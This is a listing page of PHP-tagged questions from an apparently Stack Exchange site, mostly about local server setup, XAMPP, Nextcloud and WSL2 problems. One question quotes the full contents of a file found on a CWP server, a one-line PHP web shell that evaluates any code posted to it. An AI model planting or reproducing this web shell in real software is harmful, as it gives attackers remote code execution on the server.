Skip to main content

Questions tagged [php]

PHP is a widely-used general-purpose scripting language that is especially suited for Web development. Questions about programming in PHP are off-topic and should be asked on Stack Overflow.

-1 votes
0 answers
47 views

I'm running Apache 2.4 locally on Widows 10 x64. I know my .htaccess file works because I can break the rewrites, undo it, reload the page and everything works fine again. PHP files execute PHP code ...
John's user avatar
  • 2,546
1 vote
1 answer
40 views

Working on a project I am connecting API's etc to an app. I want to upload the API tokens etc outside the public_html file for maximum security, or so I've been told. However, whenever I try to upload ...
Nigel's user avatar
  • 79
1 vote
0 answers
54 views

I'm running into a strange issue with Webstorm, the Jetbrains JavaScript IDE, where it fails to highlight matching braces when I add a line of valid PHP that does not change the structure of the block....
Boom's user avatar
  • 239
1 vote
1 answer
128 views

I'm encountering a bizarre issue with a site I'm building on my XAMPP-hosted webserver. Under certain circumstances (explained below), I encounter an infinite redirect and cannot figure out what on ...
Boom's user avatar
  • 239
0 votes
0 answers
107 views

I’m setting up Moodle LMS locally on a Windows machine using XAMPP. Moodle requires HTTPS to proceed with installation, but my current XAMPP version doesn’t support HTTPS properly and uses MariaDB 10....
Kishi_Feels_Lonely's user avatar
35 votes
2 answers
5k views

On my server running CWP, I recently found a file located in /usr/local/cwpsrv/htdocs/admin/admin called error.php that just has the contents <?php @eval($_POST['shell']);?> (very concerning). ...
Bijan's user avatar
  • 665
1 vote
2 answers
221 views

I have reinstalled whole brew, installed SSL, PHP, httpd but PHP ins't interpretted. php -v returns: PHP 8.4.7 (cli) (built: May 6 2025 12:31:58) (NTS) Copyright (c) The PHP Group Built by Homebrew ...
pavel's user avatar
  • 168
0 votes
1 answer
85 views

I run a file called doskeys.cmd every time Windows Terminal opens to set amongst other things, command aliases. Should composer.json exist, I want to extract the PHP version from it so I can ...
u01jmg3's user avatar
  • 310
0 votes
0 answers
118 views

I want to use ddev projects in WSL2's mirrored network mode, but when I run it, WSL2 cannot curl this container.​ My project was created using the following code: ddev poweroff mkdir ~/tmp/testddev cd ...
bi jin's user avatar
  • 1
0 votes
0 answers
51 views

When using XAMPP while connected to the internet, I encounter unreliable loading of .php files. While .html files work flawlessly. Sometimes pages load instantly without issues, while other times it ...
Dylan D's user avatar
  • 33
1 vote
1 answer
140 views

I have ASUSTOR NAS AS6302T with Nextcloud 30 installed from the App Central. I'm trying to set up cron to run background jobs. However when I try to run the cron.php script manually in the Docker ...
sulu00's user avatar
  • 21
2 votes
0 answers
430 views

I have a bare metal Nextcloud server hosted on a Debian 12 machine with a MariaDB database. When I try uploading larger files above 100M, the "estimated upload time" in the browser shows &...
Celeste's user avatar
  • 893
1 vote
1 answer
273 views

I'm using wamp on windows11 and noticed that not just the pageloads, but the CLI commands are way too slow. It seems, that something is adding a ~30s (like a timeout, not constant) to everything, but ...
V1pr's user avatar
  • 21
0 votes
1 answer
50 views

I created a container with PHP-FPM to act as the backend and admin for another PHP container. The second container will serve as the "frontend," fetching information from the first container....
Vitor de Sousa's user avatar
0 votes
1 answer
99 views

I'm asked to create an app to manage a device that's usually behind a NAT or firewall, so unreachable from the outside. Fortunately, the device's creators thought of that, so they created an API that ...
byteflush's user avatar
  • 103

15 30 50 per page
1
2 3 4 5
134